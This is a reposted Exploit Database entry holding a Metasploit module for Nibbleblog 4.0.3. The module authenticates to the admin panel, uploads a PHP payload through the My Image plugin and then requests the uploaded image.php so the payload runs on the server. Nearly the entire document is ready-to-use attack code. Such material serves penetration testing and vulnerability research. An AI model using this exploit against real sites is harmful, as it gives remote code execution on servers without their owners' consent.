Nibbleblog 4.0.3 – Arbitrary File Upload (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2015-10-19
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38489/

• ##
  # This module requires Metasploit: http://www.metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(
  info,
  'Name'=> 'Nibbleblog File Upload Vulnerability',
  'Description' => %q{
  Nibbleblog contains a flaw that allows a authenticated remote
  attacker to execute arbitrary PHP code. This module was
  tested on version 4.0.3.
  },
  'License' => MSF_LICENSE,
  'Author'=>
  [
  'Unknown', # Vulnerability Disclosure - Curesec Research Team. Author's name?
  'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
  ],
  'References'=>
  [
  ['URL', 'http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html']
  ],
  'DisclosureDate'=> 'Sep 01 2015',
  'Platform'=> 'php',
  'Arch'=> ARCH_PHP,
  'Targets' => [['Nibbleblog 4.0.3', {}]],
  'DefaultTarget' => 0
  ))
  
  register_options(
  [
  OptString.new('TARGETURI',[true, 'The base path to the web application', '/']),
  OptString.new('USERNAME', [true, 'The username to authenticate with']),
  OptString.new('PASSWORD', [true, 'The password to authenticate with'])
  ], self.class)
  end
  
  def username
  datastore['USERNAME']
  end
  
  def password
  datastore['PASSWORD']
  end
  
  def check
  cookie = do_login(username, password)
  return Exploit::CheckCode::Detected unless cookie
  
  res = send_request_cgi(
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri.path, 'admin.php'),
  'cookie'=> cookie,
  'vars_get'=> {
  'controller'=> 'settings',
  'action'=> 'general'
  }
  )
  
  if res && res.code == 200 && res.body.include?('Nibbleblog 4.0.3 "Coffee"')
  return Exploit::CheckCode::Appears
  end
  Exploit::CheckCode::Safe
  end
  
  def do_login(user, pass)
  res = send_request_cgi(
  'method'=> 'GET',
  'uri' => normalize_uri(target_uri.path, 'admin.php')
  )
  
  fail_with(Failure::Unreachable, 'No response received from the target.') unless res
  
  session_cookie = res.get_cookies
  vprint_status("#{peer} - Logging in...")
  res = send_request_cgi(
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, 'admin.php'),
  'cookie'=> session_cookie,
  'vars_post' => {
  'username'=> user,
  'password'=> pass
  }
  )
  
  return session_cookie if res && res.code == 302 && res.headers['Location']
  nil
  end
  
  def exploit
  unless [ Exploit::CheckCode::Detected, Exploit::CheckCode::Appears ].include?(check)
  print_error("Target does not appear to be vulnerable.")
  return
  end
  
  vprint_status("#{peer} - Authenticating using #{username}:#{password}")
  
  cookie = do_login(username, password)
  fail_with(Failure::NoAccess, 'Unable to login. Verify USERNAME/PASSWORD or TARGETURI.') if cookie.nil?
  vprint_good("#{peer} - Authenticated with Nibbleblog.")
  
  vprint_status("#{peer} - Preparing payload...")
  payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
  
  data = Rex::MIME::Message.new
  data.add_part('my_image', nil, nil, 'form-data; name="plugin"')
  data.add_part('My image', nil, nil, 'form-data; name="title"')
  data.add_part('4', nil, nil, 'form-data; name="position"')
  data.add_part('', nil, nil, 'form-data; name="caption"')
  data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"image\"; filename=\"#{payload_name}\"")
  data.add_part('1', nil, nil, 'form-data; name="image_resize"')
  data.add_part('230', nil, nil, 'form-data; name="image_width"')
  data.add_part('200', nil, nil, 'form-data; name="image_height"')
  data.add_part('auto', nil, nil, 'form-data; name="image_option"')
  post_data = data.to_s
  
  vprint_status("#{peer} - Uploading payload...")
  res = send_request_cgi(
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri, 'admin.php'),
  'vars_get'=> {
  'controller'=> 'plugins',
  'action'=> 'config',
  'plugin'=> 'my_image'
  },
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data'=> post_data,
  'cookie'=> cookie
  )
  
  if res && /Call to a member function getChild\(\) on a non\-object/ === res.body
  fail_with(Failure::Unknown, 'Unable to upload payload. Does the server have the My Image plugin installed?')
  elsif res && !( res.body.include?('<b>Warning</b>') || res.body.include?('warn') )
  fail_with(Failure::Unknown, 'Unable to upload payload.')
  end
  
  vprint_good("#{peer} - Uploaded the payload.")
  
  php_fname = 'image.php'
  payload_url = normalize_uri(target_uri.path, 'content', 'private', 'plugins', 'my_image', php_fname)
  vprint_status("#{peer} - Parsed response.")
  
  register_files_for_cleanup(php_fname)
  vprint_status("#{peer} - Executing the payload at #{payload_url}.")
  send_request_cgi(
  'uri' => payload_url,
  'method'=> 'GET'
  )
  end
  end